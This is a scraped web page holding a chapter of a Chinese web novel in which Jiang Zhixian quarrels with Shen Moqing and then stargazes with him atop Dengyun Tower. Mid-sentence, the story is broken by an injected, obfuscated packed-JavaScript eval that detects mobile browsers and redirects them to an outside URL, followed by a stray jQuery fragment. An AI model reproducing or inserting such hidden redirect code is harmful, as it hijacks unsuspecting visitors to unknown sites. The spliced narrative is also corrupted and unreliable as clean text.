25. 九层
作品:《绿茶状元为何黑化?》 “沈墨卿,你是不是有病,放开我。”姜知闲在身后挣扎,以她的力气根本挣不开沈墨卿的钳制。
沈墨卿步子很大,她被强行拽着险些摔倒,惊呼一声,沈墨卿这才回过头,将她扶稳,而后继续往外走,不过脚步放慢了些。
姜知闲看着沈墨卿的背影有些气恼,这人二话不说就将她往外面拉,实在是太过分了。
她小跑几步,凑到沈墨卿身后,空着的那只手使尽力气去捶打沈墨卿的肩膀,骂道:“沈墨卿,你是不是犯病了?有病赶紧去治,别在我这发疯。”
两人离了红芳馆,姜知闲狠狠将他的手甩开,宝蓝色的天际逐渐暗沉,街边暖黄的光晕摇晃着。
姜知闲眼中带着怒意,她从未被这样对待过,心中委屈,哪里管得上攻略对象的事,对着沈墨卿一顿劈头盖脸的指责,声音带着自己也未察觉的颤音:
“怎么,给你点阳光你就灿烂了?”
“你以为有你是谁?”
“你凭什么这么对我,沈墨卿,我从前怎不知你这般独断专行。”姜知闲撸起袖子,皓白的手腕上,五个红痕尤为明显,她将手腕怼到沈墨卿面前,眼中渐渐氲起水雾,“我的手腕疼死了,让你放开你也不放开,你是聋了吗?”
“对不起。”沈墨卿低下头,视线凝在那截手腕上,又重复了一遍:“对不起,怪我。”
“你还知道!”姜知闲的泪水自眼角滑落,她的手真的好疼,沈墨卿的爪子像猛兽一样,抓住了就不撒手。
沈墨卿右手微微抬起,姜知闲条件反射向后闪了一下,他手指微动,复又收回手,安分的放在身侧。
“你别怕,我没要怎样。”他只是在看见那滴将落未落挂在睫毛上的泪珠时,不由自主想将它拂去。
沈墨卿将手中白玉折扇递向她,拿她没什么办法无措道:“这个是你掉下的吗?落在方才隔间之中。”
姜知闲另一只手背在身后,袖中沉甸甸的折扇冰冰凉凉贴在里衣上,她眼神戒备地看向沈墨卿,掩饰着心虚,接过白玉扇,自然地别再身后,轻哼道:“是我的,别以为这样我就原谅你了。”
“风眠。”沈墨卿压低声线,走上前一步,挡住突然刮起的凉风,闷闷道:“别生气。”
“将我拉出来做什么?”姜知闲摆弄着手中的白玉扇,一开一合啪啪作响,怀疑道:“总不会只是将扇子还给我吧?”
“此处烟花之地,你在此处……”沈墨卿顿了顿,压下心中奇怪的感觉,话音一转,“会有危险。”
“嚯。”姜知闲不可置信地看着沈墨卿冠冕堂皇的借口,质疑道,“你能来得,我便来不得?”
“既是危险,你怎还未离开?”她以为他早就走了呢,谁知不知又从哪里冒出来。
怎的出门次次与沈墨卿相遇。
姜知闲心中抱怨,好感度也不升,攻略任务一筹莫展,攻略目标堂而皇之地站在眼前,她却不知怎么让好感度上升。
前几次,前几次是怎么弄得?
擦汗可以,坐在怀里不可以。
拉手可以,拥抱可以,但是涨到一定程度就不涨了。
要不,再试试?
沈墨卿一时语塞,被问得没了声响,眼睛深深望着姜知闲,给她一种做坏事的是自己的错觉。
姜知闲抖了抖肩膀,将这奇异的错觉挥开。
上前半步,拾起沈墨卿安放在身侧的左手,接触的肌肤冰凉一片,姜知闲忘记了方才在脑中准备好的说辞,脱口而出道:“你的手怎么这么凉?”
沈墨卿手指微微动了下,想要将手收回去,反倒被姜知闲抓得更紧了。
此时,姜知闲脑中响起系统的声音,
【好感度+10】
姜知闲顿时抓得更起劲了,沈墨卿却莫名觉得有些疲惫,想是最近公务太多,手指在姜知闲温热的掌心之中很快就被染上热度。
沈墨卿垂下眼睫,心中自嘲,姜知闲总是做些让人误会的事,让人误以为她对他有情,却时常下一刻便翻脸不认人。
沈墨卿说服自己,要记得自己该做的事,不可将心思反在别处。
他默默抽回手,声音平静道,“既然夺得县试榜首,娘子何时带我去登云楼九层一揽长安风貌。”
握着的手猛地被抽回,姜知闲对着空空的手心怅然若失,系统只出来一下,便又装死了。
见沈墨卿一副公事公办的样子谈交易,她也正色起来,“既然想去,择日不如撞日。”说完挑了下眉,挑衅道:“不知郎君可是有空?莫要冷落了红芳馆的美人。”
“呵,自然有空。”沈墨卿回头看了一眼红芳馆,二楼一扇窗被推开,他与那人隔空对视,使了个眼色。
姜知闲回过头,见沈墨卿依依不舍地看着红芳馆,催促道:“你到底去不去?若还有事那便不去了。”
沈墨卿优雅转身,走到姜知闲身边,温声道:“去。”
夜里,黑市灯火通明。
两人买了面具直奔登云楼。
黑市恢复重建,得益于麻将馆生意越来越好,为姜知闲赚了不少钱,现下已经成为黑市的招牌产业之一。
姜知闲每每漫步在黑市的街道上,自豪感便油然而生。
先不说黑市能不能对抗任务失败的结果,光是想想这么一条街都是自己名下产业,姜知闲便是想找人炫耀都无从下口。
两人来到登云楼,畅通无阻坐上登云梯。
沈墨卿疑惑道:“不需要告知这里的掌柜吗?”
“嗯?”姜知闲仰头跟沈墨卿对视,眨巴眨巴眼,掩饰道:“嗐,早就说过了,我姜知闲办事你还不放心吗?”说着手掌啪啪拍了两下沈墨卿的胳膊,故作自然道:“沈墨卿,你对我太不信任了。”
话中半真半假,沈墨卿也是将信将疑。
不过那些都不重要,首要目的是摸清登云楼九层的情况。
沈墨卿不再追问,专心观察起四周,九层除了登云梯再无其他登上途径。
他暗暗记下登云梯的操作原理。
九层之上,豁然开朗。
高台可直接将长安景色收进眼底,抬头望月,更是近在咫尺,触手可及。
四角阁楼周身几扇门均上有铜锁,沈墨卿微微瞥了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387914|183760||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几眼,便被姜知闲的声音召唤过去。
“沈墨卿,快来,今天的夜空好漂亮。”姜知闲双手撑着围栏,她有些恐高,不敢直直向下看,便仰着头数着星星:
“那个好像是北斗七星,左边那个是北极星……”欢呼雀跃的声音将寂静的登云楼上方渲染成一片热闹的小天地。
沈墨卿顺着姜知闲手指的方向仰头看过去,天空中最亮的,不是北极星,是天狼星,不过侧头看着一脸兴奋的姜知闲,还是应道:“嗯,风眠很聪明。”
“那是。”姜知闲笑意映入眼中,得意道:“我可是当朝状元的学生。”
沈墨卿也跟着笑了起来,抬手勾勒着月亮的轮廓,月亮如同大圆盘高悬在两人面前,甚至可以观察到上面阴影交错的纹路。
“我还是第一次如此近距离见到月亮,太震撼了。”姜知闲感叹道。
“我也是。”沈墨卿眼中有大大的月亮,有最亮的星星,有欢快恣意的姜知闲。
他突然心中升起向往,若是可以,他也想同她一般,不顾及世俗,不顾及礼教,随性而为。
姜知闲围着他转圈圈,拉着他的手,欢乐的笑声响在耳畔。
沈墨卿此刻放下心中沉重包袱,在明月照映下,同姜知闲一起忘却世俗烦恼,甘愿乘风归去。
姜知闲拉着沈墨卿席地而坐,仰头看向夜空,恍然跨越时空见到同一片星河。
夜风吹过,姜知闲发丝浮动,沈墨卿倾身挡住身侧的风。
前方皇城尽在脚下,姜知闲话音轻轻,“沈墨卿,你为什么考状元?”
沈墨卿思索片刻,道:“为民,为己。”
“你倒是有理想,朝堂之上关系错综复杂,如你这般聪慧,才能年纪轻轻便游刃有余吧。”
姜知闲目光漫无目的地看向前方,轻笑了下,“我想成为状元,没有理想抱负,全是身不由己。”
沈墨卿只静静倾听,偏头看向姜知闲卷翘的睫毛,接道:“为何?”
“呵,大概是使命吧。”
“原以为生在权贵之家,便可无忧一辈子。”姜知闲话音中带着一丝惆怅。
“风眠何出此言?”沈墨卿不懂姜知闲言外之意,只道:“若你想入朝为官,也不是只有考科举这一条路,同圣上求一个官职不是难事。”
姜知闲摇摇头,声音飘渺:“不是的,我必须考科举,成为状元。”
她转头看向沈墨卿,眼中带着前所未有的认真,问道:“你会帮我吗?”
沈墨卿未回答,姜知闲眼中满含期待,语气郑重,又问了一遍,“沈墨卿,你会帮我吗?”
许是夜色过美,许是眼前人过于真挚,沈墨卿被灼的别开眼,脑中未及思考利害关系,喉间“嗯”了一声,便已作出承诺。
姜知闲眼睛亮了,倒映出天灯的光,瞳孔之中尽是沈墨卿的身影。
沈墨卿注视着她,自己的身影在那双含情的双眼中越来越大,他知两人距离越来越近,却躲不开。
姜知闲倚靠在他身前,沈墨卿隐隐约约听到她说:“沈墨卿,我有点冷,你能不能离我近一点?”